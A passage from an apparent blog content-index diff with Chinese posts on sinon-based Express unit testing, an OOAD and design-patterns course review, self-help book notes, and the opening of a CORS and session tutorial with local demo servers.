sinon.assert.calledOnce(res.json); })}) 主要著手解決的地方在於兩點 before -> 把 stub 的地方改放這 (不過個人實驗過,不放這也沒問題,放這只是比較有統一性) after -> 加上 restore,在做完測試的時候把整個物件給釋放出來這點如果沒有做到的話,會導致在另一個 xxx.test.js 在使用同一個物件的方法時爆出已經被 wrapped 過後的錯誤訊息 可在個人專案下執行 npm run w2 即可看到錯誤訊息裡面的範例是把 login.test.js restore 給註解掉後故意讓 register.test.js 去對 login 做 stub 而不是 register此時因為 login.test.js 做過一次 stubregister.test.js 再做一次 stub 就會出現錯誤了成功的結果可以執行 npm run c1 看到 檢測 API URI透過 sinon.stub 的 withArgs 功能可以確定當我們程式在執行的時候,所呼叫的 api URI 是否正確123axiosPostStub.withArgs(\"http://localhost:7070/api/login\", data).resolves({ status: 0})當程式呼叫錯誤的 API URI 的時候就不會回傳我們預設給的回傳值就會導致程式後續失敗,這就是反向驗證了我們 API URI 是否正確的方式 可在個人專案下執行 npm run c2 即可看到結果 驗證 axios 的攔截器有時候我們會為 axios 加上攔截功能但如果要測試攔截功能,就又必須要有 server 才能辦到此時可以在 test case 裡面加上 http.createServer 做到這件事情12345678910111213141516171819202122232425262728293031323334// network.jsconst axios = require(\"axios\");axios.interceptors.request.use((config) => { console.log((\"do something for request\")); return config;});axios.interceptors.response.use((response) => { console.log((\"do something for response\")); return response.data;});module.exports = axios;// network.test.jslet server;describe(\"[network 功能]\", () => { afterEach(() => { server.close(); server = null; }) it(\"測試攔截功能(interceptors)\", (done) => { server = http.createServer((req, res) => { const data = {a:1} res.end(JSON.stringify(data)); }).listen(4000, () => { network.post(\"http://localhost:4000\").then((data) => { done(); }) }) })}); 配置好以上程式之後,可以在 terminal 看到兩個 console.log 的訊息這就代表我們的攔截器有被執行到個人認為攔截器測試獨立寫出來一個就可以不用特地讓其他測試案例都一定要執行到這功能,不然就不叫 unit test 了 可在個人專案下執行 npm run c3 即可看到結果 測試 callback function有些時候我們會需要把一些在用 callback function 的程式包起來改用 Promise 的方法使用,如下123456789101112131415161718const obj = { test: function(data, callback) { callback(data); }}const test = () => { return new Promise((res, rej) => { obj.test(\"qqqq\", (data) => { res(data) }) })}async function main() { let data = await test(); console.log(data);}main()// qqqq 在這種 callback 底下,可以透過 sinon.yields 去進行測試sinon.yields 的功能,就是可以強制讓你的 callback 被執行而不會去執行原本 function 內 callback 應該要執行的內容而且後面所帶的參數會變成你設定在 yields(data1, data2) 後面的 data1 data2這邊展示一個範例1234567891011const obj = { test: function(data, callback) { console.log(\"running\"); callback(data); }}obj.test(\"test\", (data) => { console.log(data);})// running// test 讓我們把程式加上 sinon.yield 試試看123456789101112const sinon = require(\"sinon\")const obj = { test: function(data, callback) { console.log(\"running\"); callback(data); }}sinon.stub(obj, \"test\").yields(1)obj.test(\"test\", (data) => { console.log(data);})// 1 程式會 log 出 1 這個值但是 running 並不會執行到非常符合 stub 的原則,就是會覆寫 function 原本的行為然後再透過 yields 的方法,可以直接你所撰寫觸發 callback 的行為而不會去執行 obj.test function 本身的行為 所以依此類推,我在後面多加幾個參數原本的 callback 回來的參數只會有一個,其餘為 undefined12345678910111213const obj = { test: function(data, callback) { callback(data); }}obj.test(\"test\", (data1, data2, data3) => { console.log(\"data1: \" + data1); console.log(\"data2: \" + data2); console.log(\"data3: \" + data3);})// data1: test// data2: undefined// data3: undefined 但是如果透過 sinon.yields 去強制給於另外兩個參數呢?123456789101112131415const sinon = require(\"sinon\")const obj = { test: function(data, callback) { callback(data); }}sinon.stub(obj, \"test\").yields(1, 2, 3)obj.test(\"test\", (data1, data2, data3) => { console.log(\"data1: \" + data1); console.log(\"data2: \" + data2); console.log(\"data3: \" + data3);})// data1: 1// data2: 2// data3: 3 callback 的時候,另外兩個參數也會跟著進來 那透過把 callback 包成 promise 的案例又該怎麼測試呢?範例如下,必須在執行 function 之前先加上 sinon.stub(obj, "test").yields(1) 就可以了1234567891011121314151617181920const sinon = require(\"sinon\")const obj = { test: function(data, callback) { callback(data); }}sinon.stub(obj, \"test\").yields(1)const test = () => { return new Promise((res, rej) => { obj.test(\"qqqq\", (data) => { res(data) }) })}async function main() { let data = await test(); console.log(data);}main()// 1 (因為已經被 yields 改成 1 了) 測試涵蓋率 (test coverage)做測試的時候當然少不了 test coveragenode.js 有一款叫做 nyc 的可以檢測 test coverage配製方法非常簡單,以下兩個步驟即可 下載 nyc npm install nyc 把 nyc 放置於 mocha 前面 nyc mocha ....如果要想看 html 結構的報告的話,nyc --reporter=lcov --reporter=text-summary mocha ... 可在個人專案下執行 npm run nyc 即可看到結果 結語以上介紹幾個在實際撰寫 unit test 會遇到的困難點以及解決方法未來還有遇到的話,會在陸陸續續補上來!","link":"/2019/12/22/unit-test-express-implement-troubleshooting/"},{"title":"水球潘 (水球學院) - 軟體設計模式精通之旅心得","text":"前言會接觸到這個是前同事介紹的,當時他跟我介紹是跟 OOAD 的部分,我一直都對這塊蠻感興趣的。以前開發功能大多是用文字配合 draw.io 去畫畫圖,沒有特別 follow UML 的畫法或是 OOAD 的思考脈絡,基本上這樣功能也是能實作出來。而設計面就配合文字和腦袋思考給記錄下來,看有沒有需要重新設計程式的部分,然後再補到原本的圖上。 但這樣的問題會是圖沒有 follow 比較統一的規則,後續讀的人會比較辛苦。而這個課程吸引我的點是會教如何以 OOAD 的思路去看待一份需求,並用 UML 畫出來。這帶來一個好處,透過統一規則,別人要看懂也會很快就能讀懂,就算看不懂的人,只要說明一些 UML 規則也很快就能上手,這部分就跟 DDD 裡面提到的 Ubiquitous Language 是類似的概念。 簡而言之,這堂課我是為了學習如何以 OOAD 的思考去開發功能,原本想說 Design Patterns 的部分就當作複習,順便換個用 Composition 為主的 Golang 熟悉 Design Pattern 也是不錯。不過實際上了之後,有發現自己對於一些 Design Pattern 的使用原因不到很精通,所以整體來說算有幫助到我更加釐清。只是這篇心得文上不會著墨太多 Design Patterns 的部分,還是會說明 OOAD 這塊比較多。 這篇文章不會帶入太多教學的內容,而是目前課程大約上了 60~70% 的一些心得和有在社群討論過的一些想法。 心得一:影片 x 文章 x 社群 x Review整體在用影片學習上我覺得很不錯,一個很大原因是影片的教學都有把重點都呈現出來,內容上也很清晰,所以在學習上其實沒有太大問題。而有些需要補充影片內容的部分,會透過文章的方式額外開放出來,也可以把想法拋到社群裡面討論。最後再透過每週 Code Review 去互相探討 OOAD 的思路以及最後 OOP 有沒有遇到什麼困難,除此之外,網站也會提供 Java 版本的詳解讓你參考,整體來說是有學習到東西的。 心得二:OOAD 有用嗎?要畫很完善嗎?以個人角度來說是有用的,不過不學 OOAD 你還是有辦法開發功能。就像不學武功你還是能打人,但學了武功你知道怎麼打得更有效率更痛。總之最重要的一點是以圖像方式輔助你理解需求這點,再透過 OOAD 關注各階段要注意的部分,讓你能夠專心處理。 再來換一個例子解釋 OOAD,以裝潢為例,在真正裝潢之前,都會丈量和瞭解客戶喜好的步驟,也就是去釐清這間房子的所有規格,之後再根據這個規格去做設計。 丈量後就會發現 (其實實際在量就會發現) 有些房子就很奇怪,梁就很厚、廚房有夠大或是客廳太小等等奇怪的限制,這時候客戶和設計就需要一起討論,類似客戶:「我家想弄工業風可以嗎?」設計師:「這邊距離比較短加上你家不透光,可能不能用常用的工業風的裝潢,不然會太暗,這部分需要調整一下」或是設計師:「你早上習慣做些什麼生活習慣,這樣我裝潢設計才可以符合你的習慣?」,而這些目的當然就是要裝潢一個漂亮和住的舒服以及實用的家。 其實 OOAD 和 Design Patterns 也是如此的概念,我們需要盡可能釐清需求方提出來的東西,就像做丈量和詢問客戶的生活習慣,所以他是一個雙向的互動,而釐清需求和了解限制之後,就可以針對有限制的部分做設計。而做設計這件事本身就是基於某一種限制而去處理這個限制的一種行為。 然而,如果在沒有釐清有哪些限制和需求的情況下設計,反而會導致設計出來的東西往往不符合使用者需求。就可能會變成設計師本身喜歡度假村風,就一直狂推度假村風給妳,在你拒絕後且還不等你開口前,卻又推了度假村風 b’ 給你,但你壓根就是不喜歡度假村風。而這邊回到 Design Pattern 的話,可能會變成一個只會 A pattern 的人在搞不清楚狀況下,狂使用 A patterns 的狀況一樣,所謂拿著錘子看什麼都像釘子。 另外前面提到,在丈量的當下就會知道這些限制是很常見的,而這些都有常用的作法可以解決,可能在進入到跟客戶討論環節之前你大概就知道要會有什麼問題,這就是靠業界長久累積下來的經驗,如同 Design Patterns 。 回到正題,所以 OOA 關注的是行為,而有些太詳細行為不一定要用 UML 的方式呈現,可以用文字標注在旁邊。最後會產出一份所謂的領域模型 (Domain Model),這個階段不會有任何設計或是程式細節出現,也不介意要用資料庫還是檔案等等細節的部分。捕捉物件的行為就是 OOA 階段最重要的事情,而同時會觀察到需求給你了哪些 forces,迫使你在 OOD 的時候必須要考量這些 forces 進行設計。 這裡的 forces 可以想像成一種壓力,也許是客戶提需求的時候特別要求又或是跟同事討論發現這邊會有潛在問題,例如不好擴增不好閱讀等等,種類繁多是沒有詳細定義和規則的。 OOD 關注的是設計,會依照 OOA 觀察到的 forces 去決定需要套用哪種 Design Pattern。另外我個人在 OOD 會簡單帶入思考程式流程上有沒有問題,但不會思考過於細節的部分,因為重點在於設計,而不是程式開發。 目前依照我完成的例子來說,OOAD 大部分囊括我實作的 80%,剩下就是一些程式細節沒有在圖上需要額外處理的部分。而在 OOP 階段發現當時 OOAD 有誤,再回頭修正 OOAD 其實就可以了,但就是要記住「什麼原因促使你在 OOP 階段發現 OOAD 有誤』,這樣在下次 OOAD 就能儘早發現問題所在。 透過 UML 的方式去視覺化呈現需求,對於開發者來說是非常有幫助的。不過其實也不一定要用 UML 去畫,只要能夠視覺化呈現出來,並讓大家有統一的共識,其實用什麼工具都不是問題。這點其實就像 System Thinking 的模板類似,透過視覺化幫你釐清遇到的問題,以更高的視角去俯視整體。 心得三:OOD 特化成語言專用?這點是有在 Discord 討論過,因為我寫 Golang 的關係,所以很多繼承地方會想轉用介面的方式去畫 OOD。但其實按照 OOD 的概念來說需要的是統一語言,也就是說其實不需要特別為了 Golang 去畫出 Golang 版本的 OOD。以 High Level 來說,這張圖不管到什麼語言他應該都要能通用。以 Golang 來說,進到實作階段再自己重新進行 mapping 其實就足以。 不過其實最終也能交給團隊決定要不要畫成 Golang 版本。如果太過執著使用方式是不是對的,可能會反而導致團隊協作不順,重點應該擺在能夠促使團隊合作順利這件事上。 心得四:題目出的不錯目前整題進度算是 60~70% 都放在 Github,覺得好玩的題目是大老二和寶藏地圖。其實開發程式久了都知道,除了程式開發是一種挑戰,需求分析也是一個難題。這些題目的難度對我來說都算剛好,有複雜有簡單的地方,但不至於太難。只要掌握前面 OOAD 分析的思路,其實很快都可以完成。 舉例來說有一個題目是大老二,在 OOA 階段下會簡單描述一些判斷行為,就可以發現圖中 Player 的 play() 有列出潛在的問題,這部份是題目有要求未來會擴充更多牌型。就代表在 OOA 階段要把這點給列出來,這樣在 OOD 階段就可以針對這個 force 處理。 所以在 OOD 階段就可以針對判斷多種牌型做設計,以這個例子來說就是利用 CoR 去處理判斷這件事,所以 OOD 圖出來就會長這樣。 最後對應到程式就是變這樣。 我知道上面跳的有點快,所以在這邊多補充一些思路,最主要的原因就是在 OOA 階段發現了行為變動性的存在以及需求的壓力,我們會有很多不同種牌組合會形成多種牌型,而我們要做的是去判斷牌型且在不能違反 OCP 的原則下去做 Design。那因為每一種牌型基本上對應到一種需求,所以這個現階段適合的做法就是用 CoR 去解決這個壓力。 基本上題目都有蠻多限制去規定哪裡要有 OCP 存在或是一定要按照什麼規則進行,以規則來說像是剛剛大老二有限定說一定只能出同樣的牌型。雖然實際上我們在玩的大老二是有所謂壓牌的概念,類似同花順可以壓所有牌型。但你不能因為你習慣這樣玩,就不照題目開發,因為這代表你忽視了客戶的需求。除非你問客戶他說可以壓牌,你才可以開發壓牌版的大老二。而以程式擴充性上有要求在新增牌型時不能破壞核心程式碼,換句話說就是在新增牌型的情況下,只需要新增一個檔案且在 Client 端把這個新的牌型加入進來即可,剩下核心程式碼完全不能動。 不過在真實開發環境下,其實不會有人跟你說哪邊要遵守什麼,所以題目這樣同時是優點也是缺點。這不能太依賴別人告訴你,而是在 OOA 階段的時候發現這些問題,並進而去詢問 PM/PO 有沒有擴增可能性,或是找其他 RD 討論有沒有需要先留後路。這很看當下的 context 決定的有沒有潛在的 forces,而這也很吃開發經驗,這就需要多寫扣去察覺了。 其他心得 當時開始寫題目的時間點有非常非常多的人排隊,導致每個人 review 的時間頂多 5 分鐘,其實根本不夠。但目前比較少人的情況,平均一個人可以拿到 15~20 分鐘 review 時間就可以討論很多細節,這點未來似乎會引入助教幫忙協助處理。 畢竟課程是長達半年的時間,所以其實當有問題拋出來的時候,不太會在很短時間內有人回覆你,畢竟大家也是在上班。會需要預期你的問題拋出來討論的時候,可能會是 1~2 天後才會有人跟你討論。 雖然沒有規定要用什麼語言撰寫,但如果是用天生有 OO 概念的語言的話,在學習整個課程會比較便利點。因為不用最後一段把 OOD 在實作時轉成像是 Golang 比較特別的寫法。 後記對我來說多學習不同 modeling 方法是有助於開發的,這樣我能透過每一個方法的不同角度,更深入地了解到事情的全貌。 .emgithub-container code.hljs { color: unset; background: unset; line-height: 18px; }","link":"/2023/06/28/water-ball-design-patterns/"},{"title":"別人怎麼對你,都是你教的 - part 1","text":"最近除了學習自身技術能力以外,也需要提升自己內心的能力最近看到一本書叫做『別人怎麼對你,都是你教的』裡面舉了相當多的例子讓你去了解心理學的概念,相當推薦這本書接下來幾篇會紀錄書中的金句和例子,但不會全部介紹 情緒書中提到關於十二種情緒,但都脫離不了一項原則 情緒只是一種能量,沒有好壞之分每一種情緒都有它獨特的價值、功能、存在的理由,都是我們可以利用的力量沒有所謂的負面情緒,只有情緒帶來的負面行為面對情緒時,要看到並接納情緒背後的真實表達 除了要看到接納情緒之外還要懂得如何運用這情緒帶來的意義先來看看書中如何說明面對『羨慕』以及『嫉妒』以及『焦慮』這三種情緒 羨慕與嫉妒羨慕是看到別人擁有的,自己也希望擁有嫉妒程度更深,看到別人擁有的,恨不得對方失去,藉來平衡自己的內心 要成為一座城市中最高的大樓有兩種方法一種是摧毀所有比自己高的大樓; 另一種就是打好基礎,不斷努力往上建前者是『嫉妒』後者是『羨慕』,這樣聽起來羨慕比較正向但兩者都有一個共通點,也就是對自我價值不足的體現 當了解了這兩種情緒之後,當未來發生希望摧毀其他大樓的情況時可以把這個嫉妒換成羨慕,但即使換成羨慕也是因為覺得自己不夠好這時要時時刻刻提醒自己,不是自己不夠好,而是自己還可以變得更好 焦慮焦慮常常發生在,未來幾天要上台報告或是要口試等等重大事情發生之前很多緊張會導致消耗我們的能量,書中提到一句話 未來還沒來,因此焦慮會一直存在,不斷消耗我們生命中的能量 但只要你覺察到感到焦慮的時候,試著把焦點拉回當下問問自己:面對未來可能的威脅我能怎麼辦? 我現在可以做些什麼,來減少未來可能的損失呢?於是你的焦點就拉回到解決方案上,而不是把精力虛耗在無謂的擔心上 大多數人所擔心的未來,都是不一定真的會發生的事情很多都是大腦自己憑空想像出來的 自信我們常會看到別人充滿自信,但你知道這個自信有分成兩種嗎? 大眾所說的自信其實分為兩種一種是建立在自己所做的某件事上的自信,隨著外在事物消失,自信也會分崩離析一種是對自己這個人的自己,也就是自己發自內心地相信自己,不受任何外在事物影響 第一個例子是作者有一位朋友,少年得志,好像沒有他辦不成的是,所有難題到了他那裡會迎刃而解後來當上市長,但因為一件突發事件,被抓去坐牢釋放之後,整個人就像人間蒸發一樣,誰都找不到他,他也不願再見當初的朋友 第二個例子是作者另一位朋友,在商界打拼多年,也曾經遭遇過一次滑鐵盧當時,大家都聽挺擔心他,生怕他想不開,於是作者試圖安慰他他笑了笑說:我只是暫時投資失利而已,只要生命還在,一切都可以從頭再來不同的事,以前坐頭等艙,現在做火車,我的生活方式改變了,但我還是我,並沒有什麼改變 真正的自信,只能向內修煉書中提到,自大並不是自信過度,相反地還是自我價值不足的外在表現而要如何面對這種自大,可以問問自己幾個問題 我的價值真的需要這些外物去證明嗎?如果有一天我不再擁有目前擁有的,我還能為自己感到驕傲嗎?如果要依賴這些外物才能驕傲,那我真正的價值在哪裡呢? 關係書中提到十種關係在這一篇先介紹關於溝通這件事情 溝通有個讀者留言給作者說了這樣的事情 我們公司的主管非常固執、獨斷,聽不進任何建議採用狼性管理模式來管理我們,一點都不理會員工的死活我到底要怎麼跟主管溝通 相信大家都有遇過聽不進你的話的人,導致溝通無法繼續但真的有那種無法溝通的人嗎? 先來看看一種例子一個孩子考試考了九十分父母卻說:『為什麼不是一百分? 這麼粗心,連這種簡單題目也做錯,太差勁了吧』站在孩子的角度,九十分已經是不錯的成績了,沒想到換來是一連串批評,孩子會有何感受? 溝通時,每個人都想證明自己是對的當你去批評和指責對方做得不夠的百分之十時他自然會觸發他自己的防衛機制,想進一切辦法像你呈現他做到的百分之九十於是爭吵就開始,但其實雙方都是對的,只是角度不同,焦點不一樣而已 當你觸發他的防衛機制時,他的心門也就關閉了當一個人心門關閉,要如何溝通呢? 所以要看見對方已經做得很好的地方,把對方放在對的位置讓他信任你,自然會願意接受你的建議無論是在溝通、談判、職場,還是與人相處都是一樣的 在這種狀況中,不仿試試書中提到的『位置感知法』 位置感知法一個人會陷入困境,通常是站在自己角度看問題所導致但不管一個人見識有多廣,總會有盲點所以要從不同位置、角度去看待同一個問題當你站在對方做的百分之九十的角度上,你會知道他其實也做了很多努力也就不會太過於批評導致對方的心門關上而無法溝通接下來就可以適當地給出建議,當你不全盤否地的同時,他也不會否定你的建議而是會朝著如何怎麼讓事情變得更好的方向 根據這個要點,書中在後面提出了對人不對事的看法因為事在人為,事情的對錯都是由人的標準與立場決定的不同人有不同標準與立場,就算同一個人站在不同立場,標準也不會一樣,對於對與錯的定義也就不同只針對事情的話,會忽略人的感受,就會讓事情沒辦法如願以償就像老鳥和菜鳥針對一件事情的遠見絕對不一樣老鳥經驗多了,自然知道有什麼該注意,但他不需要批評菜鳥沒注意到的點這樣只會讓菜鳥感到挫折 後記這本書真的不錯,真心推薦書中很多例子,是可以在不同場景替換的,因為核心是沒有改變的因為例子還有超級多,所以會慢慢記錄下來","link":"/2020/03/23/%E5%88%A5%E4%BA%BA%E6%80%8E%E9%BA%BC%E5%B0%8D%E4%BD%A0,%E9%83%BD%E6%98%AF%E4%BD%A0%E6%95%99%E7%9A%84-part1/"}],"tags":[{"name":"nodejs","slug":"nodejs","link":"/tags/nodejs/"},{"name":"session","slug":"session","link":"/tags/session/"},{"name":"cookie","slug":"cookie","link":"/tags/cookie/"},{"name":"cors","slug":"cors","link":"/tags/cors/"},{"name":"credential","slug":"credential","link":"/tags/credential/"},{"name":"slack","slug":"slack","link":"/tags/slack/"},{"name":"bot","slug":"bot","link":"/tags/bot/"},{"name":"chat bot","slug":"chat-bot","link":"/tags/chat-bot/"},{"name":"API Gateway","slug":"API-Gateway","link":"/tags/API-Gateway/"},{"name":"aws","slug":"aws","link":"/tags/aws/"},{"name":"apple pay","slug":"apple-pay","link":"/tags/apple-pay/"},{"name":"debug","slug":"debug","link":"/tags/debug/"},{"name":"iOS","slug":"iOS","link":"/tags/iOS/"},{"name":"safari","slug":"safari","link":"/tags/safari/"},{"name":"certificate","slug":"certificate","link":"/tags/certificate/"},{"name":"acm","slug":"acm","link":"/tags/acm/"},{"name":"CloudWatch","slug":"CloudWatch","link":"/tags/CloudWatch/"},{"name":"JavaScript","slug":"JavaScript","link":"/tags/JavaScript/"},{"name":"promise","slug":"promise","link":"/tags/promise/"},{"name":"async","slug":"async","link":"/tags/async/"},{"name":"await","slug":"await","link":"/tags/await/"},{"name":"w3HexSchool","slug":"w3HexSchool","link":"/tags/w3HexSchool/"},{"name":"ec2","slug":"ec2","link":"/tags/ec2/"},{"name":"disk","slug":"disk","link":"/tags/disk/"},{"name":"CloudFront","slug":"CloudFront","link":"/tags/CloudFront/"},{"name":"query string","slug":"query-string","link":"/tags/query-string/"},{"name":"header","slug":"header","link":"/tags/header/"},{"name":"DevOps","slug":"DevOps","link":"/tags/DevOps/"},{"name":"network","slug":"network","link":"/tags/network/"},{"name":"docker","slug":"docker","link":"/tags/docker/"},{"name":"jenkins","slug":"jenkins","link":"/tags/jenkins/"},{"name":"CI/CD","slug":"CI-CD","link":"/tags/CI-CD/"},{"name":"express","slug":"express","link":"/tags/express/"},{"name":"x-forwarded-for","slug":"x-forwarded-for","link":"/tags/x-forwarded-for/"},{"name":"ip","slug":"ip","link":"/tags/ip/"},{"name":"nginx","slug":"nginx","link":"/tags/nginx/"},{"name":"architecture","slug":"architecture","link":"/tags/architecture/"},{"name":"dns","slug":"dns","link":"/tags/dns/"},{"name":"ipv6","slug":"ipv6","link":"/tags/ipv6/"},{"name":"golang","slug":"golang","link":"/tags/golang/"},{"name":"package","slug":"package","link":"/tags/package/"},{"name":"Sonarqube","slug":"Sonarqube","link":"/tags/Sonarqube/"},{"name":"google hacking","slug":"google-hacking","link":"/tags/google-hacking/"},{"name":"search","slug":"search","link":"/tags/search/"},{"name":"concurrency","slug":"concurrency","link":"/tags/concurrency/"},{"name":"CTF","slug":"CTF","link":"/tags/CTF/"},{"name":"security","slug":"security","link":"/tags/security/"},{"name":"lambda","slug":"lambda","link":"/tags/lambda/"},{"name":"upload file","slug":"upload-file","link":"/tags/upload-file/"},{"name":"download file","slug":"download-file","link":"/tags/download-file/"},{"name":"讀書心得","slug":"讀書心得","link":"/tags/%E8%AE%80%E6%9B%B8%E5%BF%83%E5%BE%97/"},{"name":"helm","slug":"helm","link":"/tags/helm/"},{"name":"k8s","slug":"k8s","link":"/tags/k8s/"},{"name":"Test","slug":"Test","link":"/tags/Test/"},{"name":"Development","slug":"Development","link":"/tags/Development/"},{"name":"mocha","slug":"mocha","link":"/tags/mocha/"},{"name":"interview","slug":"interview","link":"/tags/interview/"},{"name":"experience","slug":"experience","link":"/tags/experience/"},{"name":"Java","slug":"Java","link":"/tags/Java/"},{"name":"Executor","slug":"Executor","link":"/tags/Executor/"},{"name":"Thread Pool","slug":"Thread-Pool","link":"/tags/Thread-Pool/"},{"name":"TheadPoolExecutor","slug":"TheadPoolExecutor","link":"/tags/TheadPoolExecutor/"},{"name":"java","slug":"java","link":"/tags/java/"},{"name":"event loop","slug":"event-loop","link":"/tags/event-loop/"},{"name":"browser","slug":"browser","link":"/tags/browser/"},{"name":"this","slug":"this","link":"/tags/this/"},{"name":"ecma6","slug":"ecma6","link":"/tags/ecma6/"},{"name":"ruby","slug":"ruby","link":"/tags/ruby/"},{"name":"ngrok","slug":"ngrok","link":"/tags/ngrok/"},{"name":"localhost","slug":"localhost","link":"/tags/localhost/"},{"name":"node.js","slug":"node-js","link":"/tags/node-js/"},{"name":"Security","slug":"Security","link":"/tags/Security/"},{"name":"SSO","slug":"SSO","link":"/tags/SSO/"},{"name":"OAuth","slug":"OAuth","link":"/tags/OAuth/"},{"name":"callback","slug":"callback","link":"/tags/callback/"},{"name":"pulumi","slug":"pulumi","link":"/tags/pulumi/"},{"name":"vue","slug":"vue","link":"/tags/vue/"},{"name":"pug","slug":"pug","link":"/tags/pug/"},{"name":"rails","slug":"rails","link":"/tags/rails/"},{"name":"Puma","slug":"Puma","link":"/tags/Puma/"},{"name":"GIL","slug":"GIL","link":"/tags/GIL/"},{"name":"ssh","slug":"ssh","link":"/tags/ssh/"},{"name":"mount","slug":"mount","link":"/tags/mount/"},{"name":"ssh tunnel","slug":"ssh-tunnel","link":"/tags/ssh-tunnel/"},{"name":"SSL","slug":"SSL","link":"/tags/SSL/"},{"name":"security header","slug":"security-header","link":"/tags/security-header/"},{"name":"HTTPS","slug":"HTTPS","link":"/tags/HTTPS/"},{"name":"Stack Overflow","slug":"Stack-Overflow","link":"/tags/Stack-Overflow/"},{"name":"TapPay","slug":"TapPay","link":"/tags/TapPay/"},{"name":"Payment Gateway","slug":"Payment-Gateway","link":"/tags/Payment-Gateway/"},{"name":"npm","slug":"npm","link":"/tags/npm/"},{"name":"types","slug":"types","link":"/tags/types/"},{"name":"thread","slug":"thread","link":"/tags/thread/"},{"name":"thread model","slug":"thread-model","link":"/tags/thread-model/"},{"name":"process","slug":"process","link":"/tags/process/"},{"name":"operating system","slug":"operating-system","link":"/tags/operating-system/"},{"name":"vuex","slug":"vuex","link":"/tags/vuex/"},{"name":"vue-router","slug":"vue-router","link":"/tags/vue-router/"},{"name":"todo-list","slug":"todo-list","link":"/tags/todo-list/"},{"name":"test","slug":"test","link":"/tags/test/"},{"name":"unit test","slug":"unit-test","link":"/tags/unit-test/"},{"name":"refactor","slug":"refactor","link":"/tags/refactor/"},{"name":"sinon","slug":"sinon","link":"/tags/sinon/"},{"name":"test double","slug":"test-double","link":"/tags/test-double/"},{"name":"design patterns","slug":"design-patterns","link":"/tags/design-patterns/"},{"name":"OOA","slug":"OOA","link":"/tags/OOA/"},{"name":"OOD","slug":"OOD","link":"/tags/OOD/"},{"name":"OOP","slug":"OOP","link":"/tags/OOP/"}],"categories":[{"name":"NodeJs","slug":"NodeJs","link":"/categories/NodeJs/"},{"name":"Bot","slug":"Bot","link":"/categories/Bot/"},{"name":"AWS","slug":"AWS","link":"/categories/AWS/"},{"name":"debug","slug":"debug","link":"/categories/debug/"},{"name":"JavaScript","slug":"JavaScript","link":"/categories/JavaScript/"},{"name":"DevOps","slug":"DevOps","link":"/categories/DevOps/"},{"name":"Security","slug":"Security","link":"/categories/Security/"},{"name":"Golang","slug":"Golang","link":"/categories/Golang/"},{"name":"Google","slug":"Google","link":"/categories/Google/"},{"name":"讀書心得","slug":"讀書心得","link":"/categories/%E8%AE%80%E6%9B%B8%E5%BF%83%E5%BE%97/"},{"name":"Test","slug":"Test","link":"/categories/Test/"},{"name":"Experience","slug":"Experience","link":"/categories/Experience/"},{"name":"Java","slug":"Java","link":"/categories/Java/"},{"name":"Ruby","slug":"Ruby","link":"/categories/Ruby/"},{"name":"tool","slug":"tool","link":"/categories/tool/"},{"name":"Vue","slug":"Vue","link":"/categories/Vue/"},{"name":"Development","slug":"Development","link":"/categories/Development/"},{"name":"Payment Gateway","slug":"Payment-Gateway","link":"/categories/Payment-Gateway/"},{"name":"Operating System","slug":"Operating-System","link":"/categories/Operating-System/"},{"name":"Modeling","slug":"Modeling","link":"/categories/Modeling/"}]}
\ No newline at end of file
+{"pages":[{"title":"Archives","text":"","link":"/archive/index.html"},{"title":"All Tags","text":"","link":"/tags/index.html"}],"posts":[{"title":"前後端分離下之使用 session","text":"這邊主要在介紹當前後端架構上完全分離 (連 domain 都分離) 狀況下,要如何達到使用 session 的方法 知道 CORS 是什麼的人且想直接知道怎麼做可以直接跳到重點筆記 前言以往我們前後端程式是寫在一起時,都是透過後端程式去 render (渲染) 一個頁面而在前端頁面做請求的時候,請求都會帶著 cookie 到 server 上去判別是否屬於為同一個人但當我們在前後端完全分離的狀況下,該怎麼去達到這件事情呢? CORS瀏覽器有一個限制,當這個 request 請求起始的地方跟 endpoint 不一致得時候會造成所謂 CORS 的問題舉例來說,假設網站架設在 https://www.example.com 底下,但是你的 API Server 是在 https://www.example1.com 的話這樣網站 POST 到 API Server 的請求就會被阻擋 (這時 request 是從 html 頁面發起) 因為這個限制,API Server 往往要在 Header 上加上以下幾個東西去符合瀏覽器的規範 Access-Control-Allow-Headers Access-Control-Allow-Origin Access-Control-Allow-Methods 透過設置這三個 header 的參數,就可以讓前端合法的使用 API Server 了所以按照剛剛的邏輯去加上 Header 會這樣加Access-Control-Allow-Headers: *Access-Control-Allow-Origin: https://www.example.comAccess-Control-Allow-Methods: POST 然而在使用前後端分離的架構下,身份驗證以及授權就相對上就變得比較難一點雖然解法上還可以使用 JWT 去解決這個問題,但這篇文章主要會鎖定在用 sessino 的方式去解決 題外話,有一種方式也可以繞過 CORS,就是以 Proxy Server 的方式去實作以下用 Vue cli 裡面有一個 proxy 機制去說明 XHR Credential當加上以上三個 CORS 的規範後會發現在發出 request 的時候,是不會帶入 cookie 去給 server 做驗證 這時候就可以透過 xhr 裡面的 credential 去設定當把這個欄位設定成 true 的時候,request 就會夾帶 cookie 到 server 去 詳細操作說明提到前後端完全分離的話,那我們就要準備兩個 server一台 server 專門是讀取靜態 html 的 server一台 server 專門是處理 API 的 server html server透過 Node.js 快速建立一個可以讀取靜態檔案的 server 1234const express = require('express');const app = express();app.use(express.static(\"./public\"));app.listen(8888); 而 public/index.html 的內容為 123456789101112131415161718192021222324<!DOCTYPE html><html lang=\"en\"><head> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"> <title>Document</title></head><body> <script> let ajax = new XMLHttpRequest(); ajax.open('POST', 'http://localhost:7777/test'); ajax.setRequestHeader('Content-Type', 'application/json'); ajax.onload = function() { if (ajax.status === 200) { alert('Received ' + ajax.responseText); } }; ajax.send(JSON.stringify({ data: \"hi from html\" })); </script></body></html> api server另一台主要當作 api server主要就印出 session id 來觀看每一次的 request 是不是同一個人 12345678910111213141516171819202122232425262728293031const express = require('express');const app = express();const session = require('express-session')var sess = { secret: 'keyboard cat', cookie: {}, resave: true, saveUninitialized: false,}const bodyParser = require('body-parser');app.use(bodyParser.json());app.use(bodyParser.urlencoded({ extended: true}));app.use(session(sess))app.use((req, res, next) => { res.setHeader(\"Access-Control-Allow-Headers\", \"X-Requested-With, Accept, Content-Type, Cookie\") res.setHeader(\"Access-Control-Allow-Origin\", \"*\") res.setHeader(\"Access-Control-Allow-Methods\", \"GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH\") next();})app.post('/test', (req, res) => { console.log(req.sessionID); req.session.a = \"hi\" res.json({a: 1})})app.listen(7777, () => { console.log('start');}); 實作透過執行以上的兩個 server 程式,寫後近到 http://localhost:8080 